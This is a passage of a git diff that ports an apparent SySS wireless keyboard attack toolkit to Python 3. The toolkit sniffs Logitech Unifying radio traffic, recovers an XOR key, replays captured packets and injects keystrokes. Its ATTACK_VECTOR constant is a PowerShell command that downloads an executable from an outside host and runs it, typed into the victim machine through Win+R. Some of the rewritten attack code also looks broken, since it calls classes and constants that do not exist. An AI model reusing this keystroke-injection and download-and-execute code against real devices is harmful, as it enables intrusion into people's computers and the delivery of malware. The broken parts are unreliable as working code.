KEY_BRACKET_LEFT), + 'ä' : (MODIFIER_NONE, KEY_APOSTROPHE), + 'ö' : (MODIFIER_NONE, KEY_SEMICOLON), + 'ü' : (MODIFIER_NONE, KEY_BRACKET_LEFT), + 'ß' : (MODIFIER_NONE, KEY_MINUS), + '€' : (MODIFIER_ALT_RIGHT, KEY_E) } @@ -264,121 +275,54 @@ class CherryKeyboard: def __init__(self, initData): """Initialize Cherry keyboard""" - - # set current keymap self.currentKeymap = KEYMAP_GERMAN - - # set AES counter self.counter = initData[11:] - - # set crypto key self.cryptoKey = initData[:11] - - def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE, - keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE): + def keyCommand(self, modifiers, keycode1, keycode2=KEY_NONE, keycode3=KEY_NONE, + keycode4=KEY_NONE, keycode5=KEY_NONE, keycode6=KEY_NONE): """Return AES encrypted keyboard data""" - - # generate HID keyboard data plaintext = pack("11B", modifiers, 0, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6, 0, 0, 0) - - # encrypt the data with the set crypto key - ciphertext = "" - i = 0 - for b in plaintext: - ciphertext += chr(ord(b) ^ ord(self.cryptoKey[i])) - i += 1 - + ciphertext = bytes([plaintext[i] ^ self.cryptoKey[i % len(self.cryptoKey)] for i in range(len(plaintext))]) return ciphertext + self.counter - - def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE): - """Get a keystroke for a given keycode""" - keystrokes = [] - - # key press - keystrokes.append(self.keyCommand(modifiers, keycode)) - - # key release - keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) - + def getKeystroke(self, keycode=KEY_NONE, modifiers=MODIFIER_NONE): + keystrokes = [self.keyCommand(modifiers, keycode), self.keyCommand(MODIFIER_NONE, KEY_NONE)] return keystrokes - def getKeystrokes(self, string): - """Get stream of keystrokes for a given string of printable ASCII characters""" keystrokes = [] - for char in string: - # key press key = self.currentKeymap[char] keystrokes.append(self.keyCommand(key[0], key[1])) - - # key release keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) - return keystrokes - class PerixxKeyboard: """PerixxKeyboard (HID)""" def __init__(self, initData): - """Initialize Perixx keyboard""" - - # set current keymap self.currentKeymap = KEYMAP_GERMAN - - # set AES counter self.counter = initData[10:] - - # set crypto key self.cryptoKey = initData[:10] - - def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE, - keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE): - """Return AES encrypted keyboard data""" - - # generate HID keyboard data + def keyCommand(self, modifiers, keycode1, keycode2=KEY_NONE, keycode3=KEY_NONE, + keycode4=KEY_NONE, keycode5=KEY_NONE, keycode6=KEY_NONE): plaintext = pack("10B", modifiers, 0, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6, 0, 0) - - # encrypt the data with the set crypto key - ciphertext = "" - i = 0 - for b in plaintext: - ciphertext += chr(ord(b) ^ ord(self.cryptoKey[i])) - i += 1 - + ciphertext = bytes([plaintext[i] ^ self.cryptoKey[i % len(self.cryptoKey)] for i in range(len(plaintext))]) return ciphertext + self.counter - - def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE): - """Get a keystroke for a given keycode""" - keystrokes = [] - - # key press - keystrokes.append(self.keyCommand(modifiers, keycode)) - - # key release - keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) - + def getKeystroke(self, keycode=KEY_NONE, modifiers=MODIFIER_NONE): + keystrokes = [self.keyCommand(modifiers, keycode), self.keyCommand(MODIFIER_NONE, KEY_NONE)] return keystrokes - def getKeystrokes(self, string): - """Get stream of keystrokes for a given string of printable ASCII characters""" keystrokes = [] - for char in string: - # key press key = self.currentKeymap[char] keystrokes.append(self.keyCommand(key[0], key[1])) - - # key release keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) - return keystrokes @@ -386,153 +330,64 @@ class LogitechKeyboard: """Logitech Keyboard (HID)""" def __init__(self, initData): - """Initialize Logitech keyboard""" - - # set current keymap self.currentKeymap = KEYMAP_GERMAN - - # set crypto key self.cryptoKey = initData[2:14] - - # Logitech packet after key release packet - self.KEYUP = "\x00\x4F\x00\x01\x16\x00\x00\x00\x00\x9A" - + self.KEYUP = b"\x00\x4F\x00\x01\x16\x00\x00\x00\x00\x9A" def checksum(self, data): - checksum = 0 - - for b in data: - checksum -= ord(b) - - return pack("B", (checksum & 0xff)) + checksum = -sum(data) & 0xFF + return pack("B", checksum) - - def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE, - keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE): - """Return AES encrypted keyboard data""" - - # generate HID keyboard data plaintext + def keyCommand(self, modifiers, keycode1, keycode2=KEY_NONE, keycode3=KEY_NONE, + keycode4=KEY_NONE, keycode5=KEY_NONE, keycode6=KEY_NONE): plaintext = pack("12B", modifiers, 0, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6, 0, 0, 0, 0) - - # encrypt the data with the set crypto key - ciphertext = "" - - i = 0 - for b in plaintext: - ciphertext += chr(ord(b) ^ ord(self.cryptoKey[i])) - i += 1 - - # generate Logitech Unifying paket - data = "\x00\xD3" + ciphertext + 7 * "\x00" - + ciphertext = bytes([plaintext[i] ^ self.cryptoKey[i % len(self.cryptoKey)] for i in range(len(plaintext))]) + data = b"\x00\xD3" + ciphertext + b'\x00' * 7 checksum = self.checksum(data) - return data + checksum - - def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE): - """Get a keystroke for a given keycode""" - keystrokes = [] - - # key press - keystrokes.append(self.keyCommand(modifiers, keycode)) - - # key release - keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) - keystrokes.append(self.KEYUP) - + def getKeystroke(self, keycode=KEY_NONE, modifiers=MODIFIER_NONE): + keystrokes = [self.keyCommand(modifiers, keycode), self.keyCommand(MODIFIER_NONE, KEY_NONE), self.KEYUP] return keystrokes - def getKeystrokes(self, string): - """Get stream of keystrokes for a given string of printable ASCII characters""" keystrokes = [] - for char in string: - # key press key = self.currentKeymap[char] keystrokes.append(self.keyCommand(key[0], key[1])) - - # key release keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) keystrokes.append(self.KEYUP) - return keystrokes class LogitechPresenter: """Logitech Presenter (HID)""" - def __init__(self): - """Initialize Logitech Presenter keyboard""" - - # set current keymap self.currentKeymap = KEYMAP_GERMAN - - # magic packet sent after data packets - self.magic_packet = "\x00\x4F\x00\x00\x55\x00\x00\x00\x00\x5C" - + self.magic_packet = b"\x00\x4F\x00\x00\x55\x00\x00\x00\x00\x5C" def checksum(self, data): - checksum = 0 - - for b in data: - checksum -= ord(b) - - return pack("B", (checksum & 0xff)) + checksum = -sum(data) & 0xFF + return pack("B", checksum) - - def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE, - keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE): - """Return keyboard data""" - - - # generate HID keyboard data + def keyCommand(self, modifiers, keycode1, keycode2=KEY_NONE, keycode3=KEY_NONE, + keycode4=KEY_NONE, keycode5=KEY_NONE, keycode6=KEY_NONE): data = pack("9B", 0, 0xC1, modifiers, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6) - checksum = self.checksum(data) - return data + checksum - - def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE): - """Get a keystroke for a given keycode""" - keystrokes = [] - - # key press - keystrokes.append(self.keyCommand(modifiers, keycode)) - - # magic packet - keystrokes.append(self.magic_packet) - - # key release - keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) - - # magic packet - keystrokes.append(self.magic_packet) - - + def getKeystroke(self, keycode=KEY_NONE, modifiers=MODIFIER_NONE): + keystrokes = [self.keyCommand(modifiers, keycode), self.magic_packet, + self.keyCommand(MODIFIER_NONE, KEY_NONE), self.magic_packet] return keystrokes - def getKeystrokes(self, string): - """Get stream of keystrokes for a given string of printable ASCII characters""" keystrokes = [] - for char in string: - # key press key = self.currentKeymap[char] keystrokes.append(self.keyCommand(key[0], key[1])) - - # magic packet keystrokes.append(self.magic_packet) - - # key release keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) - - # magic packet keystrokes.append(self.magic_packet) - return keystrokes - diff --git a/lib/mouse.py b/lib/mouse.py index d6521b3..cb8b93a 100644 --- a/lib/mouse.py +++ b/lib/mouse.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -21,10 +21,22 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. + + """ -__version__ = '0.8' -__author__ = 'Matthias Deeg' +__version__ = '0.9' +__author__ = 'Einstein2150' from struct import pack, unpack @@ -49,24 +61,223 @@ def __init__(self): self.middle_button = False self.right_button = False + def move(self, x=0, y=0, wheel=0, button=MOUSE_BUTTON_NONE): + """Move the mouse""" + + x = max(min(x, 127), -127) + y = max(min(y, 127), -127) + + data = pack("5b", 0x01, button, x, y, wheel) + return data + + def click(self, button): + """Click a mouse button""" + + return self.move(0, 0, 0, button) + + +class MicrosoftMouse: + """MicrosoftMouse""" + + def __init__(self): + """Initialize Microsoft mouse""" + + # mouse button state + self.left_button = False + self.middle_button = False + self.right_button = False + + # packet counter + self.packet_counter = 0 - def move(self, x = 0, y = 0, wheel = 0, button = MOUSE_BUTTON_NONE): + def checksum(self, data): + checksum = 0xff + + for b in data: + checksum ^= b + + return checksum + + def move(self, x=0, y=0, wheel=0, button=MOUSE_BUTTON_NONE): """Move the mouse""" - if x > 127: - x = 127 - elif x < -127: - x = -127 + x = max(min(x, 127), -127) + y = max(min(y, 127), -127) - if y > 127: - y = 127 - elif y < -127: - y = -127 + # increase the packet counter + self.packet_counter += 1 - data = pack("5b", 0x01, button, x, y, wheel) + counter = pack(" and + Gerhard Klostermeier + + Copyright (c) 2016 SySS GmbH + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +""" + +__version__ = '0.8' +__author__ = 'Matthias Deeg' + + +from struct import pack, unpack + +# USB HID mouse buttons +MOUSE_BUTTON_NONE = 0 +MOUSE_BUTTON_LEFT = 1 << 0 +MOUSE_BUTTON_RIGHT = 1 << 1 +MOUSE_BUTTON_MIDDLE = 1 << 2 +MOUSE_WHEEL_UP = 1 +MOUSE_WHEEL_DOWN = -1 + + +class CherryMouse: + """CherryMouse (HID)""" + + def __init__(self): + """Initialize Cherry mouse""" + + # mouse button state + self.left_button = False + self.middle_button = False + self.right_button = False + + def move(self, x=0, y=0, wheel=0, button=MOUSE_BUTTON_NONE): + """Move the mouse""" + + x = max(min(x, 127), -127) + y = max(min(y, 127), -127) + + data = pack("5b", 0x01, button, x, y, wheel) + return data def click(self, button): """Click a mouse button""" @@ -88,28 +299,19 @@ def __init__(self): # packet counter self.packet_counter = 0 - def checksum(self, data): checksum = 0xff for b in data: - checksum ^= ord(b) + checksum ^= b return checksum - - def move(self, x = 0, y = 0, wheel = 0, button = MOUSE_BUTTON_NONE): + def move(self, x=0, y=0, wheel=0, button=MOUSE_BUTTON_NONE): """Move the mouse""" - if x > 127: - x = 127 - elif x < -127: - x = -127 - - if y > 127: - y = 127 - elif y < -127: - y = -127 + x = max(min(x, 127), -127) + y = max(min(y, 127), -127) # increase the packet counter self.packet_counter += 1 @@ -121,14 +323,13 @@ def move(self, x = 0, y = 0, wheel = 0, button = MOUSE_BUTTON_NONE): wheel_bytes = pack(" 127: - x = 127 - elif x < -127: - x = -127 - - if y > 127: - y = 127 - elif y < -127: - y = -127 + x = max(min(x, 127), -127) + y = max(min(y, 127), -127) mouse_button = pack("b", button) x_bytes = pack(" 127: - x = 127 - elif x < -127: - x = -127 - - if y > 127: - y = 127 - elif y < -127: - y = -127 + x = max(min(x, 127), -127) + y = max(min(y, 127), -127) x_bytes = pack(". -''' - - -import usb, logging + + + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. + + + +""" + +import usb +import logging +import sys # Check pyusb dependency try: - from usb import core as _usb_core -except ImportError, ex: - print ''' + from usb import core as _usb_core +except ImportError as ex: + print(''' ------------------------------------------ | PyUSB was not found or is out of date. | ------------------------------------------ @@ -30,8 +48,8 @@ Please update PyUSB using pip: sudo pip install -U -I pip && sudo pip install -U -I pyusb -''' - sys.exit(1) +''') + sys.exit(1) # USB commands TRANSMIT_PAYLOAD = 0x04 @@ -46,9 +64,6 @@ ENTER_PROMISCUOUS_MODE_GENERIC = 0x0D RECEIVE_PAYLOAD = 0x12 -# nRF24LU1+ registers -RF_CH = 0x05 - # RF data rates RF_RATE_250K = 0 RF_RATE_1M = 1 @@ -57,93 +72,84 @@ # nRF24LU1+ radio dongle class nrf24: - # Sufficiently long timeout for use in a VM - usb_timeout = 2500 - - # Constructor - def __init__(self, index=0): - try: - self.dongle = list(usb.core.find(idVendor=0x1915, idProduct=0x0102, find_all=True))[index] - self.dongle.set_configuration() - except usb.core.USBError, ex: - raise ex - except: - raise Exception('Cannot find USB dongle.') - - # Put the radio in pseudo-promiscuous mode - def enter_promiscuous_mode(self, prefix=[]): - self.send_usb_command(ENTER_PROMISCUOUS_MODE, [len(prefix)]+map(ord, prefix)) - self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - if len(prefix) > 0: - logging.debug('Entered promiscuous mode with address prefix {0}'. - format(':'.join('{:02X}'.format(ord(b)) for b in prefix))) - else: - logging.debug('Entered promiscuous mode') - - # Put the radio in pseudo-promiscuous mode without CRC checking - def enter_promiscuous_mode_generic(self, prefix=[], rate=RF_RATE_2M, payload_length=32): - self.send_usb_command(ENTER_PROMISCUOUS_MODE_GENERIC, [len(prefix), rate, payload_length]+map(ord, prefix)) - self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - if len(prefix) > 0: - logging.debug('Entered generic promiscuous mode with address prefix {0}'. - format(':'.join('{:02X}'.format(ord(b)) for b in prefix))) - else: - logging.debug('Entered promiscuous mode') - - # Put the radio in ESB "sniffer" mode (ESB mode w/o auto-acking) - def enter_sniffer_mode(self, address): - self.send_usb_command(ENTER_SNIFFER_MODE, [len(address)]+map(ord, address)) - self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - logging.debug('Entered sniffer mode with address {0}'. - format(':'.join('{:02X}'.format(ord(b)) for b in address[::-1]))) - - # Put the radio into continuous tone (TX) test mode - def enter_tone_test_mode(self): - self.send_usb_command(ENTER_TONE_TEST_MODE, []) - self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - logging.debug('Entered continuous tone test mode') - - # Receive a payload if one is available - def receive_payload(self): - self.send_usb_command(RECEIVE_PAYLOAD, ()) - return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - - # Transmit a generic (non-ESB) payload - def transmit_payload_generic(self, payload, address="\x33\x33\x33\x33\x33"): - data = [len(payload), len(address)]+map(ord, payload)+map(ord, address) - self.send_usb_command(TRANSMIT_PAYLOAD_GENERIC, data) - return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 - - # Transmit an ESB payload - def transmit_payload(self, payload, timeout=4, retransmits=15): - data = [len(payload), timeout, retransmits]+map(ord, payload) - self.send_usb_command(TRANSMIT_PAYLOAD, data) - return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 - - # Transmit an ESB ACK payload - def transmit_ack_payload(self, payload): - data = [len(payload)]+map(ord, payload) - self.send_usb_command(TRANSMIT_ACK_PAYLOAD, data) - return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 - - # Set the RF channel - def set_channel(self, channel): - if channel > 125: channel = 125 - self.send_usb_command(SET_CHANNEL, [channel]) - self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - logging.debug('Tuned to {0}'.format(channel)) - - # Get the current RF channel - def get_channel(self): - self.send_usb_command(GET_CHANNEL, []) - return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - - # Enable the LNA (CrazyRadio PA) - def enable_lna(self): - self.send_usb_command(ENABLE_LNA_PA, []) - self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - - # Send a USB command - def send_usb_command(self, request, data): - data = [request] + list(data) - self.dongle.write(0x01, data, timeout=nrf24.usb_timeout) + usb_timeout = 2500 # Sufficiently long timeout for use in a VM + + def __init__(self, index=0): + try: + self.dongle = list(usb.core.find(idVendor=0x1915, idProduct=0x0102, find_all=True))[index] + self.dongle.set_configuration() + except usb.core.USBError as ex: + raise ex + except Exception: + raise Exception('Cannot find USB dongle.') + + # Put the radio in pseudo-promiscuous mode + def enter_promiscuous_mode(self, prefix=[]): + self.send_usb_command(ENTER_PROMISCUOUS_MODE, [len(prefix)] + list(prefix)) + self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + logging.debug(f'Entered promiscuous mode with address prefix {":".join("{:02X}".format(b) for b in prefix)}') + + # Put the radio in pseudo-promiscuous mode without CRC checking + def enter_promiscuous_mode_generic(self, prefix=[], rate=RF_RATE_2M, payload_length=32): + self.send_usb_command(ENTER_PROMISCUOUS_MODE_GENERIC, [len(prefix), rate, payload_length] + list(prefix)) + self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + logging.debug(f'Entered generic promiscuous mode with address prefix {":".join("{:02X}".format(b) for b in prefix)}') + + # Put the radio in ESB "sniffer" mode (ESB mode w/o auto-acking) + def enter_sniffer_mode(self, address): + if isinstance(address, str): + address = address.encode() + self.send_usb_command(ENTER_SNIFFER_MODE, [len(address)] + list(address)) + self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + logging.debug(f'Entered sniffer mode with address {":".join("{:02X}".format(b) for b in address[::-1])}') + + # Put the radio into continuous tone (TX) test mode + def enter_tone_test_mode(self): + self.send_usb_command(ENTER_TONE_TEST_MODE, []) + self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + logging.debug('Entered continuous tone test mode') + + # Receive a payload if one is available + def receive_payload(self): + self.send_usb_command(RECEIVE_PAYLOAD, []) + return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + + # Transmit a generic (non-ESB) payload + def transmit_payload_generic(self, payload, address=b"\x33\x33\x33\x33\x33"): + data = [len(payload), len(address)] + list(payload) + list(address) + self.send_usb_command(TRANSMIT_PAYLOAD_GENERIC, data) + return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 + + # Transmit an ESB payload + def transmit_payload(self, payload, timeout=4, retransmits=15): + data = [len(payload), timeout, retransmits] + list(payload) + self.send_usb_command(TRANSMIT_PAYLOAD, data) + return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 + + # Transmit an ESB ACK payload + def transmit_ack_payload(self, payload): + data = [len(payload)] + list(payload) + self.send_usb_command(TRANSMIT_ACK_PAYLOAD, data) + return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 + + # Set the RF channel + def set_channel(self, channel): + channel = min(channel, 125) + self.send_usb_command(SET_CHANNEL, [channel]) + self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + logging.debug(f'Tuned to {channel}') + + # Get the current RF channel + def get_channel(self): + self.send_usb_command(GET_CHANNEL, []) + return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + + # Enable the LNA (CrazyRadio PA) + def enable_lna(self): + self.send_usb_command(ENABLE_LNA_PA, []) + self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + + # Send a USB command + def send_usb_command(self, request, data): + data = [request] + list(data) + self.dongle.write(0x01, data, timeout=nrf24.usb_timeout) diff --git a/logitech_attack.py b/logitech_attack.py index 7845618..dd50f95 100644 --- a/logitech_attack.py +++ b/logitech_attack.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -12,6 +12,18 @@ Logitech MK520 Copyright (C) 2016 SySS GmbH + + + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -27,13 +39,12 @@ along with this program. If not, see . """ -__version__ = '0.8' -__author__ = 'Matthias Deeg, Gerhard Klostermeier' +__version__ = '0.9' +__author__ = 'Einstein2150' import argparse import logging import pygame - from binascii import hexlify, unhexlify from lib import keyboard from lib import nrf24 @@ -43,22 +54,24 @@ from sys import exit # constants -ATTACK_VECTOR = u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'" +ATTACK_VECTOR = "powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'" + +RECORD_BUTTON = pygame.K_1 # record button +REPLAY_BUTTON = pygame.K_2 # replay button +ATTACK_BUTTON = pygame.K_3 # attack button +SCAN_BUTTON = pygame.K_4 # scan button -RECORD_BUTTON = pygame.K_1 # record button -REPLAY_BUTTON = pygame.K_2 # replay button -ATTACK_BUTTON = pygame.K_3 # attack button -SCAN_BUTTON = pygame.K_4 # scan button +IDLE = 0 # idle state +RECORD = 1 # record state +REPLAY = 2 # replay state +SCAN = 3 # scan state +ATTACK = 4 # attack state -IDLE = 0 # idle state -RECORD = 1 # record state -REPLAY = 2 # replay state -SCAN = 3 # scan state -ATTACK = 4 # attack state +SCAN_TIME = 2 # scan time in seconds for scan mode heuristics +DWELL_TIME = 0.1 # dwell time for scan mode in seconds +KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds -SCAN_TIME = 2 # scan time in seconds for scan mode heuristics -DWELL_TIME = 0.1 # dwell time for scan mode in seconds -KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds +SCAN_CHANNELS = list(range(2, 84)) # Default range from 2 to 84 (inclusive) # Logitech Unifying Keep Alive packet with 90 ms KEEP_ALIVE_90 = unhexlify("0040005A66") @@ -71,13 +84,13 @@ class LogitechAttack(): def __init__(self, address=""): """Initialize Logitech Attack""" - self.state = IDLE # current state - self.channel = 2 # used ShockBurst channel - self.payloads = [] # list of sniffed payloads - self.kbd = None # keyboard for keystroke injection attacks - self.screen = None # screen - self.font = None # font - self.statusText = "" # current status text + self.state = IDLE # current state + self.channel = 2 # used ShockBurst channel + self.payloads = [] # list of sniffed payloads + self.kbd = None # keyboard for keystroke injection attacks + self.screen = None # screen + self.font = None # font + self.statusText = "" # current status text self.address = address try: @@ -90,7 +103,6 @@ def __init__(self, address=""): pygame.display.set_icon(self.icon) self.screen = pygame.display.set_mode((400, 300), 0, 24) self.font = pygame.font.SysFont("arial", 24) -# self.screen.fill((255, 255, 255)) self.screen.blit(self.bg, (0, 0)) pygame.display.update() @@ -105,47 +117,38 @@ def __init__(self, address=""): # start scanning mode self.setState(SCAN) - except: + except Exception as e: # info output - info("[-] Error: Could not initialize Logitech Attack") - + info(f"[-] Error: Could not initialize Logitech Attack: {e}") - def showText(self, text, x = 40, y = 140): + def showText(self, text, x=40, y=140): output = self.font.render(text, True, (0, 0, 0)) self.screen.blit(output, (x, y)) - def setState(self, newState): """Set state""" if newState == RECORD: - # set RECORD state self.state = RECORD self.statusText = "RECORDING" elif newState == REPLAY: - # set REPLAY state self.state = REPLAY self.statusText = "REPLAYING" elif newState == SCAN: - # set SCAN state self.state = SCAN self.statusText = "SCANNING" elif newState == ATTACK: - # set ATTACK state self.state = ATTACK self.statusText = "ATTACKING" else: - # set IDLE state self.state = IDLE self.statusText = "IDLING" - def unique_everseen(self, seq): """Remove duplicates from a list while preserving the item order""" seen = set() return [x for x in seq if str(x) not in seen and not seen.add(str(x))] - def run(self): # main loop last_keep_alive = time() @@ -161,42 +164,28 @@ def run(self): # record button state transitions if i.key == RECORD_BUTTON: - # if the current state is IDLE change it to RECORD if self.state == IDLE: - # set RECORD state self.setState(RECORD) - - # empty payloads list self.payloads = [] - - # if the current state is RECORD change it to IDLE elif self.state == RECORD: - # set IDLE state self.setState(IDLE) # play button state transitions if i.key == REPLAY_BUTTON: - # if the current state is IDLE change it to REPLAY if self.state == IDLE: - # set REPLAY state self.setState(REPLAY) # scan button state transitions if i.key == SCAN_BUTTON: - # if the current state is IDLE change it to SCAN if self.state == IDLE: - # set SCAN state self.setState(SCAN) # attack button state transitions if i.key == ATTACK_BUTTON: - # if the current state is IDLE change it to ATTACK if self.state == IDLE: - # set ATTACK state self.setState(ATTACK) # show current status on screen -# self.screen.fill((255, 255, 255)) self.screen.blit(self.bg, (0, 0)) self.showText(self.statusText) @@ -221,13 +210,12 @@ def run(self): elif self.state == REPLAY: # remove duplicate payloads (retransmissions) payloadList = self.unique_everseen(self.payloads) -# payloadList = self.payloads # replay all payloads for p in payloadList: if len(p) == 22: # transmit payload - self.radio.transmit_payload(p.tostring()) + self.radio.transmit_payload(p.tobytes()) # info output info('Sent payload: {0}'.format(hexlify(p))) @@ -257,7 +245,7 @@ def run(self): while True: # increment the channel if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME: - channel_index = (channel_index + 1) % (len(SCAN_CHANNELS)) + channel_index = (channel_index + 1) % len(SCAN_CHANNELS) self.radio.set_channel(SCAN_CHANNELS[channel_index]) last_tune = time() @@ -268,7 +256,7 @@ def run(self): address, payload = value[0:5], value[5:] # convert address to string and reverse byte order - converted_address = address[::-1].tostring() + converted_address = address[::-1].tobytes() self.address = converted_address break @@ -286,137 +274,53 @@ def run(self): self.statusText = "SEARCHING" self.screen.blit(self.bg, (0, 0)) self.showText(self.statusText) - - # update the display pygame.display.update() - last_key = 0 - packet_count = 0 - while True: - # receive payload + # get the address of the target keyboard + # WARNING: The following function blocks and can take a long time, depending on the number of packets + while self.state == SCAN: value = self.radio.receive_payload() - if value[0] == 0: - if len(payload) == 22: - # do some time measurement - last_key = time() - - # split the payload from the status byte payload = value[1:] - # increment packet count - if len(payload) == 22: - # only count Logitech Unifying packets with encrypted data (should be 22 bytes long) - packet_count += 1 - crypto_payload = payload - - # show packet payload - info('Received payload: {0}'.format(hexlify(payload))) - - # heuristic for having a valid release key data packet - if packet_count >= 2 and time() - last_key > SCAN_TIME: - break - - self.showText(u"Got crypto key!") - - # info output - info('Got crypto key!') - - # initialize keyboard - self.kbd = keyboard.LogitechKeyboard(crypto_payload.tostring()) - info('Initialize keyboard') - - # set IDLE state after scanning - self.setState(IDLE) - - elif self.state == ATTACK: - if self.kbd != None: - # send keystrokes for a classic download and execute PoC attack - keystrokes = [] - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) + if len(payload) > 2: + # info output + info("Received payload: {0}".format(hexlify(payload))) + if len(payload) == 22: + self.payloads.append(payload) - # send attack keystrokes - for k in keystrokes: - self.radio.transmit_payload(k) - - # info output - info('Sent payload: {0}'.format(hexlify(k))) - - # send keep alive with 90 ms time out - self.radio.transmit_payload(KEEP_ALIVE_90) - last_keep_alive = time() - - sleep(KEYSTROKE_DELAY) - - # need small delay after WIN + R - for i in range(5): - # send keep alive with 90 ms time out + # send keep alive every 90 ms + if time() - last_keep_alive >= KEEP_ALIVE_TIMEOUT: self.radio.transmit_payload(KEEP_ALIVE_90) last_keep_alive = time() - sleep(0.06) - - keystrokes = self.kbd.getKeystrokes(ATTACK_VECTOR) - keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) - - # send attack keystrokes with a small delay - for k in keystrokes: - self.radio.transmit_payload(k) - - # info output - info('Sent payload: {0}'.format(hexlify(k))) - # send keep alive with 90 ms time out - self.radio.transmit_payload(KEEP_ALIVE_90) - last_keep_alive = time() + elif self.state == ATTACK: + # info output + info("Starting attack!") - sleep(KEYSTROKE_DELAY) + # initialize keyboard + self.kbd = keyboard.Keyboard() + self.kbd.set_delay(200) - # set IDLE state after attack self.setState(IDLE) - if time() - last_keep_alive > KEEP_ALIVE_TIMEOUT: - # send keep alive with 90 ms time out - self.radio.transmit_payload(KEEP_ALIVE_90) - last_keep_alive = time() - + pygame.quit() -# main program -if __name__ == '__main__': - # setup logging - level = logging.INFO - logging.basicConfig(level=level, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S") - # init argument parser - parser = argparse.ArgumentParser() - parser.add_argument('-a', '--address', type=str, help='Address of 